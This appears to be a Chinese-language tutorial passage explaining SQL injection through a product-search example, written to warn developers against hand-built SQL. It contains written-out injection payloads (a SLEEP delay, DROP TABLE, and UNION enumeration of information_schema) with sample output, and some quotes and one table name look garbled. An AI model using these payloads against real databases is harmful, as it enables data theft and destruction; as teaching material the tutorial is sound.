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這篇文章主要介紹了 sql 注入基本原理是什么,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓丸趣 TV 小編帶著大家一起了解一下。
SQL 注入基本原理
WEB 技術發展日新月異,但是徒手拼 SQL 的傳統手藝還是受相當多的開發者親睞。畢竟相比于再去學習一套復雜的 ORM 規則,手拼更說方便,直觀。通常自己拼 SQL 的人,應該是有聽說過 SQL 注入很危險,但是總是心想:我的 SQL 語句這么簡單,不可能被注入的。
花 5 分鐘看完這個完整的例子,從今往后應該再也不敢有以上僥幸心理了。
簡單場景
有一個 WEB 界面提供輸入商品名稱,展示對應價格,生產日期及生產地信息。例如輸入 Hammer 展示:
產品價格生產地生產日期 Claw Hammer12.98American2019.11.07Club Hammer29.98Canada2019.11.11
我們跳過了搭建 Web 搜索界面的過程,直接關注重點部分: SQL 注入。
如果要實現以上功能,那么我們大致可以猜到服務器使用的 SQL 語句如下:
SELECT ? FROM ? WHERE ? LIKE %Hammer%
其中? 表示目前我們并不知道具體的表名和字段名,此 SQL 唯一可以被操縱的就是單引號里面的輸入內容 %Hammer%。假如我們直接在查找框里輸入一個單引號。即變成
select ? from ? where ? Like % %
這樣拼接后造成 SQL 語法錯誤,得不到任何結果,我們需要使用 – 來把最后一個單引號注釋掉。
select ? from ? where ? Like % -- %
– 后的是注釋內容(你也可以用 #),這樣你可以得到所有的產品信息,目前為止,還是沒有嗅到危險的信號。
產品價格生產地生產日期 Claw Hammer12.98American2019.11.07Club Hammer29.98Canada2019.11.11Paring Knife10.98China2019.11.11Boning Knife19.98China2019.01.01
小試牛刀 and
緊緊抓住上一步中可以擴展的單引號部分。來一個簡單的延時語句試一試:
select ? from ? where ? Like %Hammer% and 1 = SLEEP(2); -- %
這時查詢會 2 秒后才返回結果,如果把時間延長,用腳本多點幾次查詢,一下就能把數據庫的連接池用完。
當然,還有破壞力更強的!
select ? from ? where ? Like %Hammer% drop table xxxx; -- %
可以直接把表 / 數據庫直接刪除掉,至于如何知道引數據庫中有哪一些表 (即如何確定上句 SQL 中的 xxxx) 呢?
為所欲為 union
我們需要知道此數據庫有哪一些表!這樣才能能拿到有用的信息。
使用 union 可以把不同表的內容拼在一起,小試一下:
select ?,?,?,? from ? where ? Like %Hammer% UNION (select 1,2,3,4 from dual); -- %
產品價格生產地生產日期 Claw Hammer12.98American2019.11.07Club Hammer29.98Canada2019.11.111234
可以看到我們把假數據 1,2,3,4 成功地拼接到搜索結果中。
Mysql 系統自帶的信息都存在 information_schema 數據庫中。我們試著在里面找找有用的信息。
select ? from ? where ? Like %Hammer% UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %
產品價格生產地生產日期 Claw Hammer12.98American2019.11.07Club Hammer29.98Canada2019.11.11authorshawkeye34productshawkeye34userhawkeye34……..34
現在知道了這些數據庫名和表名,所有人都對它為所欲為了!(包括上面執行的 DROP)。
看著列表一猜就能知道我們目前查的是 products 表,接下來我們再把 products 具體的字段也挖出來。
select ? from ? where ? Like %Hammer% UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = products -- %
產品價格生產地生產日期 Claw Hammer12.98American2019.11.07Club Hammer29.98Canada2019.11.11idhawkeye34namehawkeye34pricehawkeye34addresshawkeye34updated_athawkeye34
所以,通過上面 2 步,我們知道了表名和字段名,那么查詢 API 的完整 SQL 應該是(把上面的? 都補全啦):
select name,price,address,updated_at from products where name like %Hammer%
通過不斷重復以上幾個步驟,你就可以通過這一個小小的入口把數據庫的所有信息(比如上面發現的 user 表
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